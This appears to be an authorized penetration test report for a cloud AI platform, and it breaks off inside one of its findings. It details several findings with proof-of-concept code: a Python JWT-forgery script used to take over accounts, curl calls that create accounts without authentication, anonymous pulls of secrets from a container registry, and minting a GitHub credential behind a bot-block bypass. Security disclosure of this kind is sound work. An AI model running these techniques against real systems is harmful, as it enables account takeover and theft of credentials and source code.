



# OpenHack

## Penetration Test Report

Meridian Cloud Q3 2026 External Pentest

Meridian Cloud, Inc.

Testing Period: June 15, 2026 - June 30, 2026

Organization: Y Combinator

Findings: 16 total

**CONFIDENTIAL**

This document contains confidential information and is intended solely for the named recipient(s).

# Contents

---

|                                                                               |    |
|-------------------------------------------------------------------------------|----|
| About the Testing Team .....                                                  | 2  |
| Executive Summary .....                                                       | 3  |
| Scope & Methodology .....                                                     | 4  |
| Severity Rating Methodology .....                                             | 5  |
| Findings Summary .....                                                        | 6  |
| Detailed Findings .....                                                       | 7  |
| MC-10 [Critical] Forgeable production session JWT (backendToken) — weak/le... | 7  |
| MC-1 [Critical] Unauthenticated Account Creation and Takeover via /auth/a...  | 8  |
| MC-5 [Critical] Public container registry leaks private source code and L...  | 10 |
| MC-7 [Critical] Unauthenticated internal admin dashboard exposes all user...  | 13 |
| MC-8 [Critical] Public container-registry snapshot -> live GitHub credent...  | 15 |
| MC-4 [High] No Multi-Factor Authentication (MFA) on Accounts Accessin...      | 17 |
| MC-2 [High] Broken Function-Level Authorization on Operator and Curat...      | 19 |
| MC-3 [High] Subscription Paywall Enforced Only in the Client — Trial ...      | 21 |
| MC-6 [High] Unauthenticated SSRF and internal port-scanner via /api/v...      | 23 |
| MC-9 [High] Over-privileged SCM credential issuance: one sandbox sess...      | 25 |
| MC-11 [Medium] API-key scope mass-assignment — a free user self-mints ar...   | 26 |
| MC-12 [Medium] Cross-tenant IDOR on /ingestion/verify_processing exposin...   | 28 |
| MC-14 [Medium] Exposed Swagger API Specification on api.meridiancloud.io      | 29 |
| MC-13 [Low] Exposed Swagger/OpenAPI Specification on api.meridianclou...      | 31 |
| MC-15 [Low] Unauthenticated OpenAPI Specification Disclosure at /open...      | 33 |
| MC-16 [Low] Publicly Accessible swagger.json API Documentation on Pro...      | 35 |
| Methodology & Disclaimer .....                                                | 37 |

# About the Testing Team

---

Assessment conducted by the OpenHack offensive security team.

# Executive Summary

## Severity Breakdown

|               |           |             |          |           |
|---------------|-----------|-------------|----------|-----------|
| Critical<br>5 | High<br>5 | Medium<br>3 | Low<br>3 | Info<br>0 |
|---------------|-----------|-------------|----------|-----------|

## Remediation Summary

| ID    | Finding                                       | Severity | Status | Date |
|-------|-----------------------------------------------|----------|--------|------|
| MC-10 | Forgeable production session JWT (backendT... | Critical | Fixed  |      |
| MC-1  | Unauthenticated Account Creation and Takeo... | Critical | Fixed  |      |
| MC-7  | Unauthenticated internal admin dashboard e... | Critical | Fixed  |      |
| MC-3  | Subscription Paywall Enforced Only in the ... | High     | Fixed  |      |

## Key Findings

Meridian Cloud's external attack surface was assessed over a two-week window. The assessment identified 5 critical, 5 high, and 2 medium issues. The most severe findings form an end-to-end compromise chain: a publicly exposed container registry leaked private source code and live credentials, which in turn yielded organization-wide source-code access and a path to production session forgery and full account takeover. Independently, the platform exposed an unauthenticated internal operations dashboard, permitted unauthenticated account creation, and enforced subscription limits only on the client — allowing trial accounts to consume paid capacity. Authentication lacked MFA on privileged accounts, and several authorization checks (function-level and cross-tenant) were missing. Collectively these represent a critical risk to tenant isolation, data confidentiality, and revenue integrity.

# Scope & Methodology

---

## In-Scope Assets

External, internet-facing assets of the Meridian Cloud platform:

- app.meridiancloud.io (customer web console)
- api.meridiancloud.io (public REST API)
- dashboard.meridiancloud.io (account & API-key management)
- workbench.meridiancloud.io (AI workbench data API)
- graph.dashboard.meridiancloud.io (graph database console)
- registry.staging.meridiancloud.io (container registry)
- sandbox-cp.meridiancloud.io (sandbox control plane)
- internal-admin.meridiancloud.io (internal operations dashboard)

## Out of Scope

- Denial-of-service / volumetric testing
- Physical and social-engineering attacks
- Third-party SaaS providers except where they expose Meridian Cloud data
- Customer-owned tenant data modification

## Testing Methodology

Grey-box external assessment aligned to the OWASP Web Security Testing Guide (WSTG) and OWASP ASVS. Manual exploitation was augmented by OpenHack automated scanning. Testing covered authentication and session management, access control (function- and object-level), business logic, CI/CD and secret exposure, SSRF, and information disclosure.

## Objectives

Determine whether an external, unauthenticated (or low-privileged) attacker can: (1) access other tenants' data or infrastructure, (2) take over accounts, (3) reach internal systems or source code, or (4) bypass billing/subscription controls.

## Rules of Engagement

Testing performed against production and staging with prior written authorization. No destructive actions; exploitation limited to proof-of-concept. Discovered credentials were reported, not used beyond confirmation.

# Severity Rating Methodology

Each finding in this report is assigned a severity rating based on the assessed business impact to the organization, rather than relying solely on a technical scoring framework. While CVSS 3.1 base scores and vectors are provided as a technical reference point, the final severity reflects the realistic risk a vulnerability poses given the application's context, the sensitivity of affected data, the accessibility of the vulnerable component, and the potential consequences of exploitation.

## Severity Bands

|                 |                                                                                                                                                                  |
|-----------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ● Critical      | Immediate, organization-wide impact. Full system compromise, mass data breach, or complete authentication bypass affecting all users.                            |
| ● High          | Significant business impact. Unauthorized access to sensitive data, privilege escalation to admin roles, or exploitation requiring minimal attacker effort.      |
| ● Medium        | Moderate business impact. Exploitation requires specific conditions or user interaction but could lead to partial data exposure or limited privilege escalation. |
| ● Low           | Minor business impact. Information disclosure of non-sensitive data, or issues that require significant preconditions and yield limited benefit to an attacker.  |
| ● Informational | No direct security impact. Best-practice recommendations, defense-in-depth improvements, or observations that do not represent an exploitable vulnerability.     |

Where the assigned severity differs from the CVSS-implied band, a severity justification is provided in the individual finding explaining the business context behind the adjustment.

# Findings Summary

16 findings identified during the engagement, sorted by severity.

| ID                    | Title                                              | Severity | Status    | CVSS |
|-----------------------|----------------------------------------------------|----------|-----------|------|
| <a href="#">MC-10</a> | Forgeable production session JWT (backendToken)... | Critical | Fixed     | 10.0 |
| <a href="#">MC-1</a>  | Unauthenticated Account Creation and Takeover v... | Critical | Fixed     | 9.8  |
| <a href="#">MC-5</a>  | Public container registry leaks private source ... | Critical | Submitted | 10.0 |
| <a href="#">MC-7</a>  | Unauthenticated internal admin dashboard expose... | Critical | Fixed     | 10.0 |
| <a href="#">MC-8</a>  | Public container-registry snapshot -> live GitH... | Critical | Submitted | 10.0 |
| <a href="#">MC-4</a>  | No Multi-Factor Authentication (MFA) on Account... | High     | Submitted | 7.4  |
| <a href="#">MC-2</a>  | Broken Function-Level Authorization on Operator... | High     | Submitted | 7.1  |
| <a href="#">MC-3</a>  | Subscription Paywall Enforced Only in the Clie...  | High     | Fixed     | 5.4  |
| <a href="#">MC-6</a>  | Unauthenticated SSRF and internal port-scanner ... | High     | Submitted | 8.3  |
| <a href="#">MC-9</a>  | Over-privileged SCM credential issuance: one sa... | High     | Submitted | 7.7  |
| <a href="#">MC-11</a> | API-key scope mass-assignment — a free user sel... | Medium   | Submitted | 5.4  |
| <a href="#">MC-12</a> | Cross-tenant IDOR on /ingestion/verify_processi... | Medium   | Submitted | 4.3  |
| <a href="#">MC-14</a> | Exposed Swagger API Specification on api.meridi... | Medium   | Draft     | 5.3  |
| <a href="#">MC-13</a> | Exposed Swagger/OpenAPI Specification on api.me... | Low      | Draft     | 5.3  |
| <a href="#">MC-15</a> | Unauthenticated OpenAPI Specification Disclosur... | Low      | Draft     | 5.3  |
| <a href="#">MC-16</a> | Publicly Accessible swagger.json API Documentat... | Low      | Draft     | 5.3  |

# Detailed Findings

---

MC-10

## Forgeable production session JWT (backendToken) — weak/leaked HS256 secret enables full account takeover

**Severity level:** Critical

**Status:** Fixed

**Category:** Auth Bypass

**CWE:** CWE-347

**CVSS Score:** 10.0

**Affected URL:**

- [https://api.meridiancloud.io/api-keys/create\\_api\\_key](https://api.meridiancloud.io/api-keys/create_api_key)
- <https://dashboard.meridiancloud.io/api/auth/session>

**Affected Component:** Authentication System

**Severity Justification:** CRITICAL 10.0. Unauthenticated remote attacker forges a session for ANY of Meridian Cloud's 1,313 users -> mints an API key on their account -> full multi-tenant compromise. The two required inputs — signing secret and user\_id — are both already public (exposed by the container-registry leak and internal admin-dashboard findings). This defeats the tenant isolation that holds at the key layer by forging the session layer above it. Even absent the admin-dashboard exposure, treating a UUID as a secret is not defense-in-depth; a UUID gate on account takeover is a design flaw regardless of whether a leak endpoint exists today.

---

### Description

dashboard.meridiancloud.io issues a backendToken (session JWT, HS256) that api.meridiancloud.io trusts for its session-gated endpoints. The signing secret is a weak, placeholder-style value (redacted here as REDACTED\_SESSION\_SECRET) that is both trivially guessable and was leaked via the public container-registry leak finding (the NEXTAUTH\_SECRET env var baked into the container registry, initially misclassified as a dev dummy; it is the real prod secret). Re-signing a token with this secret is accepted by prod.

### Impact

Total authentication bypass / account takeover of the prod platform: forge a session for any user -> act as them -> mint API keys -> full read/write of their org's memories/documents/embeddings. Combined with the 1,313 user IDs+emails leaked by the unauthenticated internal admin-dashboard finding, an attacker can take over every account. Defeats the tenant isolation that holds at the key layer by forging the session layer above it.

### Proof of Concept

```
1 # forge a session JWT for ANY user_id, signed with the known secret
2 import json,base64,hmac,hashlib,time
3 SECRET='REDACTED_SESSION_SECRET'
```

```

4  b64u=lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
5  now=int(time.time())
6  hd=b64u(b'{"alg":"HS256","typ":"JWT"}')
7  pl=b64u(json.dumps({'sub':VICTIM_USER_ID,'email':VICTIM_EMAIL,'iat':now,'exp':now+3600},
    separators=(',',':')).encode())
8  tok=f"{hd}.{pl}."+b64u(hmac.new(SECRET.encode(),f'{hd}.{pl}'.encode(),hashlib.sha256).
    digest())
9  # use it as the victim:
10 # curl -X POST https://api.meridiancloud.io/api-keys/create_api_key -H "Authorization: Bearer $tok" -d '{"env":"live"}'
11 # -> 200, mints a real sk_live_ key on the victim's account

```

Validated (own test orgs 2026-07-12): forged token for org B's user\_id -> POST /api-keys/create\_api\_key -> 200 minted REDACTED\_API\_KEY... on B; that key read B's private tenant oh-victim-b-xyz that org A's own key was correctly DENIED. Forged token for a MADE-UP user\_id -> 200 (mints a key with no signup). No real customer data was accessed.

## Recommendation

1. Rotate NEXTAUTH\_SECRET to a strong 32+ byte random value NOW; invalidate all existing sessions. 2. Treat the current secret as public (leaked via the container-registry leak finding + guessable). 3. Move to asymmetric (RS256) or server-side session-bound tokens; short TTLs. 4. Enforce secret-strength + rotation; never ship placeholder secrets to prod.

## Related Findings

[MC-5](#) • Chains with

**Public container registry leaks private source code and live third-party API keys (unauthenticated)**

production session-signing secret recoverable from leaked source / internal surfaces

[MC-7](#) • Chains with

**Unauthenticated internal admin dashboard exposes all users and tenant infrastructure**

production session-signing secret recoverable from leaked source / internal surfaces

## MC-1

### Unauthenticated Account Creation and Takeover via /auth/admin\_create\_user

**Severity level:** Critical

**Status:** Fixed

**Category:** Broken Authentication

**CWE:** CWE-306

**CVSS Score:** 9.8

**Affected URL:** https://api.meridiancloud.io/auth/admin\_create\_user

**Affected Component:** Auth API (the managed identity provider) — US/AU/CA

**Severity Justification:** Critical and CVSS-aligned: unauthenticated and network-exploitable, granting a valid authenticated session to a multi-tenant sensitive regulated data application. Highest risk in the engagement and the precondition that amplifies several other authorization, rate-limiting, and business-logic findings in this report.

## Description

The administrative endpoint POST /auth/admin\_create\_user ships with no authentication and no authorization checks. Any anonymous internet user can create users in Meridian Cloud's identity pools via the managed identity provider. When a password is supplied the account is created pre-confirmed, so the attacker can immediately authenticate via POST /auth/login and obtain a valid access token for the multi-tenant application. Confirmed identical behaviour on all three regional stacks: US (api.meridiancloud.io, pool [identity pool id redacted]), AU (api-au.meridiancloud.io, [identity pool id redacted]) and CA (api-ca.meridiancloud.io, [identity pool id redacted]).

## Impact

Complete authentication bypass: anonymous attacker → valid authenticated session. (1) Unauthorized application access; a self-provisioned account inherits all normal user capability. (2) Unbounded free-tier abuse — each account carries trial quota (free\_cases\_remaining), enabling unlimited use of paid AI / AWS Textract / voice features (financial DoS). (3) the managed identity provider user-pool pollution and email abuse — invitation emails are sent from no-reply@meridiancloud.io to arbitrary addresses (credential-harvesting / brand abuse). This is the single highest-risk issue found and underpins several others (it removes the 'authenticated attacker' precondition for the BFLA and rate-limiting findings).

## Proof of Concept

```
1 # 1) Create a pre-confirmed account with a chosen password – NO auth header
2 curl -X POST https://api.meridiancloud.io/auth/admin_create_user \
3     -H 'Content-Type: application/json' \
4     -d
5     '{"username":"attacker1","email":"a@mailbox.example","given_name":"a","family_name":"b"
6     ,"password":"P@ssw0rd!2026"}'
7 # -> 200 {"message":"User created successfully with password set."}
8
9 # 2) Log in as the created user
10 curl -X POST https://api.meridiancloud.io/auth/login \
11     -H 'Content-Type: application/json' \
12     -d '{"username":"attacker1","password":"P@ssw0rd!2026"}'
13 # -> 200 {"message":"Login successful","access_token":"eyJ...", "refresh_token":"eyJ..."}
```

Without a password the endpoint still returns 200 "...Invitation email sent." and dispatches a real email. Reproduced on api-au and api-ca identically.

## Recommendation

Require authentication AND an admin/operator authorization check on /auth/admin\_create\_user (it is an administrative function and must never be reachable unauthenticated). If self-service registration is intended, route it solely through /auth/signup with mandatory email verification and rate limiting, and remove password-set-on-create for non-admin callers. Audit the managed identity provider for users created through this endpoint and add a WAF/rate-limit rule. Apply the fix to all three regional APIs.

## Related Findings

### **MC-3** ● Chains with

#### **Subscription Paywall Enforced Only in the Client — Trial Accounts Access Paid Features and Bypass Case Quota**

unlimited self-serve accounts + trial bypass = unbounded free use of paid features

### **MC-4** ● Chains with

#### **No Multi-Factor Authentication (MFA) on Accounts Accessing Sensitive Regulated Data**

missing MFA + unauthenticated account creation enables account takeover

### **MC-2** ● Related

#### **Broken Function-Level Authorization on Operator and Curation Endpoints**

both weaken the authentication/authorization posture

## MC-5

### **Public container registry leaks private source code and live third-party API keys (unauthenticated)**

**Severity level:** Critical

**Status:** Submitted

**Category:** Info Disclosure

**CWE:** CWE-522

**CVSS Score:** 10.0

**Affected URL:**

- <https://registry.staging.meridiancloud.io/v2/>
- <https://registry.staging.meridiancloud.io/api/v2.0/projects?public=true>

**Affected Component:** CI/CD Pipeline

**Severity Justification:** Raised to CRITICAL/10.0 after live validation (2026-07-09): 5 of the 7 leaked third-party LLM/embedding keys were confirmed ACTIVE via read-only checks (OpenAI, Google Gemini, Cohere, Voyage, OpenRouter). The secrets are exposed unauthenticated, internet-facing, and continuously re-pushed in a public registry, alongside the private source code in the image layers. Scope-changed (S:C): the impact lands on external provider accounts (unbounded paid-API abuse / billing + quota exhaustion / account suspension = availability loss) and on Meridian Cloud's proprietary source. Confirmed-live credential exposure at internet scale => critical.

## Description

Corrected and validated (2026-07-09). The OCI container registry behind Meridian Cloud's sandbox/build platform has its default library project set public with anonymous pull enabled — 193 backup-<uuid> sandbox snapshots of Meridian Cloud's private repos (meridian-cloud/application, internal-admin, dashboard, ingestion-service, file-transfer), re-pushed every few minutes. Config blobs (anon-pullable) expose the sandbox env; image layers contain the full source.

Third-party LLM/embedding keys — 6 of 7 CONFIRMED LIVE via minimal generation (2026-07-09):

- OpenAI (gpt-4o-mini), OpenRouter (openai/gpt-4o-mini), Gemini (gemini-2.5-flash), Cohere (command-r), Groq (llama-3.1-8b-instant) — each returned hi to a 5-token completion.
- Voyage — embeddings-only; validated live via a 1-token embedding (no text generation).
- Anthropic OAuth token — 401 (rotated/expired; env value also malformed). Only dead key.

Baked infra secrets are LocalStack/dev dummies (no real access): the AWS credentials (local, rejected by STS as InvalidClientTokenId), the JWT signing secret, the session secret, the internal service secret, the graph-database password, the vector-database token, and the object-store credentials were all dev/dummy placeholder values. NO prod AWS/DB/session-forgery impact; does NOT re-open the unauthenticated internal admin-dashboard finding.

## Impact

- Confirmed live paid-API abuse: an unauthenticated attacker can run unbounded inference/embeddings on Meridian Cloud's OpenAI, Gemini, Cohere, Voyage, and OpenRouter accounts until the keys are rotated — direct financial loss, quota exhaustion, and risk of provider account suspension (availability loss of those LLM services to Meridian Cloud).
- Private source-code disclosure: anonymous pull of image layers yields full working trees of 5+ private repos — IP exposure + a map for further attacks.
- Real service tokens also present (SANDBOX\_AUTH\_TOKEN, GPG\_KEY).
- NOT impacted: prod AWS / customer DBs / session forgery (those baked secrets are LocalStack/dev dummies).

## Proof of Concept

Full reproduction — discovery to download (every request is UNAUTHENTICATED).

1. Discover the host — subdomain enumeration surfaces an OCI container registry:

```
1 subfinder -d meridiancloud.io | grep registry
2 # registry.staging.meridiancloud.io (live, nginx). A standard OCI registry (open-source, documented API).
```

2. Confirm the public project (the vulnerability is the "public":"true" flag):

```
1 curl 'https://registry.staging.meridiancloud.io/api/v2.0/projects?public=true'
2 # -> [{"name":"library","metadata":{"public":"true"},"repo_count":193,"owner_name":"admin",...}]
```

3. Enumerate the snapshot artifacts:

```
1 curl
  'https://registry.staging.meridiancloud.io/api/v2.0/projects/library/repositories?page_size=100' | jq -r '.[].name'
2 # -> library/backup-<uuid> (193+, one per sandbox snapshot, re-pushed every few minutes)
```

4. Pull via the Docker Registry v2 API using an ANONYMOUS token (issued because the project is public):

```

1 H=https://registry.staging.meridiancloud.io
2 REPO=library/backup-<uuid> ; TAG=<timestamp-tag>
3
4 # 4a. /v2/ tells you the token endpoint
5 curl -D - -o /dev/null "$H/v2/"
6 # -> 401 WWW-Authenticate: Bearer realm="$H/service/token",service="registry-service"
7
8 # 4b. anonymous pull token — NO username/password
9 TOK=$(curl -s "$H/service/token?service=registry-service&scope=repository:$REPO:pull" |
   jq -r .token)
10
11 # 4c. manifest = list of the config blob + layer blobs (by sha256 digest)
12 MAN=$(curl -s -H "Authorization: Bearer $TOK" \
13     -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' \
14     "$H/v2/$REPO/manifests/$TAG")
15
16 # 4d. the small CONFIG blob = env vars (this is where the LLM keys / SANDBOX_AUTH_TOKEN
    / CODEX_AUTH_JSON are)
17 CFG=$(echo "$MAN" | jq -r .config.digest)
18 curl -s -H "Authorization: Bearer $TOK" "$H/v2/$REPO/blobs/$CFG" | jq '.config.Env'
19
20 # 4e. the LAYER blobs = gzipped tarballs of the filesystem (this is where the private so
    urce is).
21 # Stream the top diff layer straight into tar to extract /workspace/<repo> (the clon
    ed repo):
22 LAYER=$(echo "$MAN" | jq -r '.layers[-1].digest')
23 curl -s -H "Authorization: Bearer $TOK" "$H/v2/$REPO/blobs/$LAYER" | tar -xz -C ./out
    workspace

```

Equivalent one-liner for any attacker (no flags, no auth):

```

1 docker pull registry.staging.meridiancloud.io/library/backup-<uuid>:<tag>

```

Why the raw-HTTP version above: it lets you fetch just the small config blob (to read secrets) or a single top layer (~150 MB) instead of the full 2.5 GB base image, and add `curl --retry/backoff` to ride out registry rate-limiting. Functionally identical to `docker pull` — the point is that no credential is required at any step, so anyone on the internet can pull every artifact.

Tester note: the endpoint/method/auth for the downstream credential-minting escalation (the GitHub-credential-minting finding) were read directly out of the pulled source (`sandbox_runtime/credentials/git_credential_helper.py`) — the leaked image documents its own internal control-plane API.

## Recommendation

1. Rotate the confirmed-live keys IMMEDIATELY: OpenAI, Google Gemini, Cohere, Voyage, OpenRouter. Also rotate Groq and the Anthropic OAuth token (unconfirmed but exposed), `SANDBOX_AUTH_TOKEN`, and `GPG_KEY`.
2. Make the registry library project private; disable anonymous pull; require robot accounts.
3. Stop baking real keys into sandbox snapshots — inject at runtime, scrub env before commit; purge the 193 artifacts.
4. Audit provider usage dashboards + registry access logs for unauthorized use / anonymous pulls.
5. Treat the exposed private source as public; review it for further embedded secrets.

## Related Findings

### [MC-8](#) ● Chains with

**Public container-registry snapshot -> live GitHub credential with read access to ALL private repos (sandbox control-plane chain)**

live GitHub credential minted from a sandbox snapshot pulled off the public registry

### [MC-9](#) ● Chains with

**Over-privileged SCM credential issuance: one sandbox session token grants org-wide GitHub access (all 40+ private repos)**

org-wide SCM access builds directly on the registry leak and credential minting

### [MC-7](#) ● Related

**Unauthenticated internal admin dashboard exposes all users and tenant infrastructure**

both expose internal infrastructure with no authentication

### [MC-10](#) ● Chains with

**Forgeable production session JWT (backendToken) — weak/leaked HS256 secret enables full account takeover**

production session-signing secret recoverable from leaked source / internal surfaces

### [MC-6](#) ● Related

**Unauthenticated SSRF and internal port-scanner via /api/validate-url (Graph Browser console)**

both are unauthenticated exposure of internal infrastructure

## MC-7

# Unauthenticated internal admin dashboard exposes all users and tenant infrastructure

**Severity level:** Critical

**Status:** Fixed

**Category:** Broken Access Control

**CWE:** CWE-306

**CVSS Score:** 10.0

**Affected URL:**

- <https://internal-admin.meridiancloud.io/api/stats>
- <https://internal-admin.meridiancloud.io/api/users>
- <https://internal-admin.meridiancloud.io/api/tenants>

**Affected Component:** Admin Panel

**Severity Justification:** Analyst-assigned CRITICAL. The dashboard API routes were READ-ONLY (GET/HEAD/OPTIONS — disclosure, not manipulation), so a strict confidentiality-only CVSS 3.1 vector computes to ~9.3. The 10.0 here reflects the aggregate breach: full PII of 1,313 customers PLUS the complete per-tenant

data-plane target map (the vector database/the graph database URIs for 1,556 tenants), a direct enabler of downstream compromise of the customer databases.

## Description

STATUS: FIXED / REMEDIATED (verified 2026-07-09 — the API routes below now return 401 Unauthorized). Originally identified 2026-06-30.

The 'Meridian Cloud Internal Dashboard' (internal-admin.meridiancloud.io, nginx + Next.js) was publicly reachable while its API routes enforced no server-side authentication. The UI was gated only client-side (/api/auth/session returned {} for anonymous callers), but the underlying data APIs returned full production data to any unauthenticated request. Routes allowed GET/HEAD/OPTIONS only (read-only — disclosure).

Note: an earlier hypothesis that the public container-registry leak finding re-opened this via a leaked JWT\_SECRET\_KEY was retracted after validation — the JWT/NextAuth secrets baked into the sandbox snapshots are LocalStack/dev dummies, not the production signing secret, so they do NOT enable forging sessions against this host. This finding stands on its own historical (now-fixed) merit.

## Impact

- PII of 1,313 customers disclosed unauthenticated: email, full name, profile photo URL, org id, plan/tier, account source, whether they hold API keys + key count.
- Internal data-plane topology of 1,556 tenants: each tenant's the vector database vector-DB URI and the graph database graph-DB host on \*.meridiancloud.io, plus deployment/tenant/org ids — a direct target map for the per-tenant databases.
- Aggregate business metrics; GDPR exposure; ready-made credential-harvesting/targeting dataset.

## Proof of Concept

Original reproduction (no auth, no cookies) — now returns 401:

```
1 curl https://internal-admin.meridiancloud.io/api/stats
2 # (then) -> {"totalUsers":1313,"usersWithApiKeys":632,"totalTenants":1556,"uniqueOrgs":
   544, ...}
3
4 curl https://internal-admin.meridiancloud.io/api/users
   # 1313 records: email, name, image, orgId, tier, hasApiKey...
5 curl https://internal-admin.meridiancloud.io/api/tenants
   # 1556 records incl. vectorUri / graphHost on *.meridiancloud.io
6
7 # 2026-07-09 re-test (remediated):
8 curl -s -o /dev/null -w '%{http_code}\n' https://internal-admin.meridiancloud.io/api/
   stats # 401 {"error":"Unauthorized"}
```

## Recommendation

Already remediated (server-side auth now enforced; UI redirects to /login). Keep it durable: put the host behind VPN / IP allow-list / mTLS; enforce authz (not just authn) with an internal admin allow-list; and treat the previously-exposed user + tenant topology as public.

## Related Findings

### [MC-5](#) • Related

**Public container registry leaks private source code and live third-party API keys (unauthenticated)**

both expose internal infrastructure with no authentication

### [MC-10](#) • Chains with

**Forgeable production session JWT (backendToken) — weak/leaked HS256 secret enables full account takeover**

production session-signing secret recoverable from leaked source / internal surfaces

## MC-8

### **Public container-registry snapshot -> live GitHub credential with read access to ALL private repos (sandbox control-plane chain)**

**Severity level:** Critical

**Status:** Submitted

**Category:** Broken Access Control

**CWE:** CWE-522

**CVSS Score:** 10.0

**Affected URL:** <https://sandbox-cp.meridiancloud.io/sessions/{sessionId}/scm-credentials>

**Affected Component:** Authentication System

**Severity Justification:** CRITICAL / 10.0. Unauthenticated -> live GitHub App credential over the whole meridian-cloud org. READ access to all 40+ private repositories (40+ private) is EMPIRICALLY CONFIRMED (private file content returned 200; one non-snapshot private repo infra-scripts cloned). Integrity (I:H) is scored on the basis that Meridian Cloud's own leaked source (sandboxruntime/auth/githubapp.py) documents this GitHub App is used 'for git push when creating pull requests' — i.e. the credential carries write — but write was NOT exercised (no modifications to client repos, by choice). Even discounting write, unauthenticated exfiltration of the entire company's private source (incl. IAM/RBAC/infra repos whose contents cascade to further secrets) is maximal impact. Scope-changed (GitHub is a separate security authority).

## Description

The sandbox control plane (sandbox-cp.meridiancloud.io) issues a live GitHub App installation credential for any caller presenting a valid SANDBOX\_AUTH\_TOKEN+sessionId: POST /sessions/{sessionId}/scm-credentials (Bearer sandbox token) -> {username:'x-access-token', password:'ghs\_...'}.

Both inputs are baked into the sandbox snapshot's config blob, which is anonymously pullable from the public container registry (the container-registry leak finding).

Validated live 2026-07-10: minted a token, then read-only against GitHub: GET /installation/repositories -> 40+ private repositories in the meridian-cloud org; GET /repos/meridian-cloud/internal-admin/contents/README.md -> 200 (private-repo file content readable). So one leaked sandbox token = clone access to the whole org's private source, not just the repos that happen to have snapshots. (Push/write not tested — see

severity justification.)

## Impact

Unauthenticated -> live GitHub App token that can CLONE the entire meridian-cloud org private source: 40+ private repositories (incl. internal-admin, ingestion-service, application, gitops-infra, infra-scripts, python-sdk, ts-sdk, evals, ...). Total source-code confidentiality breach for the whole company, far beyond the ~11 repos that have container-registry snapshots. Those repos likely carry further secrets (git history, configs) enabling deeper compromise. WRITE/push capability plausible (the leaked sandbox\_runtime uses this App for 'git push when creating PRs') but NOT verified.

## Proof of Concept

Full chain — anonymous entry, no credentials until the GitHub token is minted.

Step 1 — anon-pull a RECENT snapshot's CONFIG BLOB (the env with the token lives here; you do NOT need the layers):

```
1 H=https://registry.staging.meridiancloud.io
2 # list snapshot artifacts (each backup-<uuid> = one sandbox); pick any recent one
3 REPO=$(curl -s "$H/api/v2.0/projects/library/repositories?page_size=100" | jq -r
4   '[0].name') # e.g. library/backup-<uuid>
5 TAG=$(curl -s
6   "$H/api/v2.0/projects/library/repositories/${REPO#library}/artifacts?page_size=1&sort=-push_time" | jq -r '[0].tags[0].name')
7 # anonymous registry pull token (works because the project is public)
8 TOK=$(curl -s "$H/service/token?service=registry-service&scope=repository:$REPO:pull" |
9   jq -r .token)
10 # manifest -> config-blob digest -> the .config.Env (this is what to pull)
11 CFG=$(curl -s -H "Authorization: Bearer $TOK" -H
12   'Accept: application/vnd.docker.distribution.manifest.v2+json'
13   "$H/v2/$REPO/manifests/$TAG" | jq -r .config.digest)
14 curl -s -H "Authorization: Bearer $TOK" "$H/v2/$REPO/blobs/$CFG" | jq -r '.config.Env[]'
15 | grep -E 'SANDBOX_AUTH_TOKEN|SESSION_CONFIG|CONTROL_PLANE_URL'
16 # SANDBOX_AUTH_TOKEN=<32 hex>
17 # SESSION_CONFIG={"sessionId":"<hex>","...}
18 # CONTROL_PLANE_URL=https://sandbox-cp.meridiancloud.io
```

Step 2 — mint a GitHub credential (browser UA to pass the Cloudflare 1010 bot-block on the control plane):

```
1 curl -s -X POST -H 'User-Agent: Mozilla/5.0' -H
2   "Authorization: Bearer $$SANDBOX_AUTH_TOKEN" \
3   https://sandbox-cp.meridiancloud.io/sessions/$SESSION_ID/scm-credentials
4 # -> {"username":"x-access-token","password":"ghs_<40-char token>","expires_at_epoch_ms":...}
5 # (a sandbox that has since stopped returns 401 'Invalid sandbox token' -> just try another recent snapshot;
6 # running sandboxes publish fresh live tokens every few minutes)
```

Step 3 — validate + enumerate scope (READ-ONLY):

```
1 curl -s -H "Authorization: token ghs_<...>" https://api.github.com/rate_limit
2   # 200 = live
3 curl -s -H "Authorization: token ghs_<...>" https://api.github.com/installation/
4   repositories # 40+ private repositories (meridian-cloud)
```

```
3 curl -s -H "Authorization: token ghs_<...>" https://api.github.com/repos/meridian-cloud/
internal-admin/contents/README.md # 200 = private source readable
```

## Recommendation

1. Make the registry library private / disable anon pull (root fix, shared with the container-registry leak finding). 2. Never bake SANDBOX\_AUTH\_TOKEN / SESSION\_CONFIG into snapshot images. 3. Scope the GitHub App installation to the minimum repos + read-only where possible; bind /scm-credentials to the actual running sandbox (mTLS/origin), not mere token possession. 4. Rotate the GitHub App private key; shorten token TTL; revoke on snapshot. 5. Assume all 40+ private repositories' contents are compromised.

## Related Findings

### [MC-5](#) ● Chains with

#### Public container registry leaks private source code and live third-party API keys (unauthenticated)

live GitHub credential minted from a sandbox snapshot pulled off the public registry

### [MC-9](#) ● Chains with

#### Over-privileged SCM credential issuance: one sandbox session token grants org-wide GitHub access (all 40+ private repos)

org-wide SCM access builds directly on the registry leak and credential minting

## MC-4

## No Multi-Factor Authentication (MFA) on Accounts Accessing Sensitive Regulated Data

**Severity level:** High

**Status:** Submitted

**Category:** Broken Auth

**CWE:** CWE-308

**CVSS Score:** 7.4

**Affected URL:** <https://api.meridiancloud.io/auth/login>

**Affected Component:** Authentication System

**Severity Justification:** Rated High. Technical CVSS base is 7.4 (single-factor authentication → full compromise of the affected account's sensitive regulated data on credential exposure; AC:H reflects the credential-acquisition precondition, UI:N because credential stuffing/reuse needs no user interaction). The High rating is reinforced by the context: this is a sensitive regulated data/regulated-industry system under a data-processing agreement, the gap chains directly with the unauthenticated account-creation finding and a related login rate-limiting weakness to produce a low-friction path to authenticated sensitive regulated data access, and pending the regulator rulemaking would make MFA explicitly mandatory.

## Description

Authentication to the application relies on a single factor. POST /auth/login returns access\_token, refresh\_token, and id\_token immediately on a correct username + password, with no second-factor (SMS / TOTP / WebAuthn) challenge. The underlying managed identity provider pools (US/AU/CA) do not enforce MFA, and the application offers no MFA enrollment. The only authentication challenge present in the API is NEW\_PASSWORD\_REQUIRED (forced password change) — never an MFA step. The verification codes observed during testing (signup confirmation, password reset) are account registration/recovery codes, NOT a login second factor.

## Impact

A single compromised credential grants complete access to that account's sensitive regulated data (customer records, generated reports, intake data) with no second barrier, and the ability to alter report content.

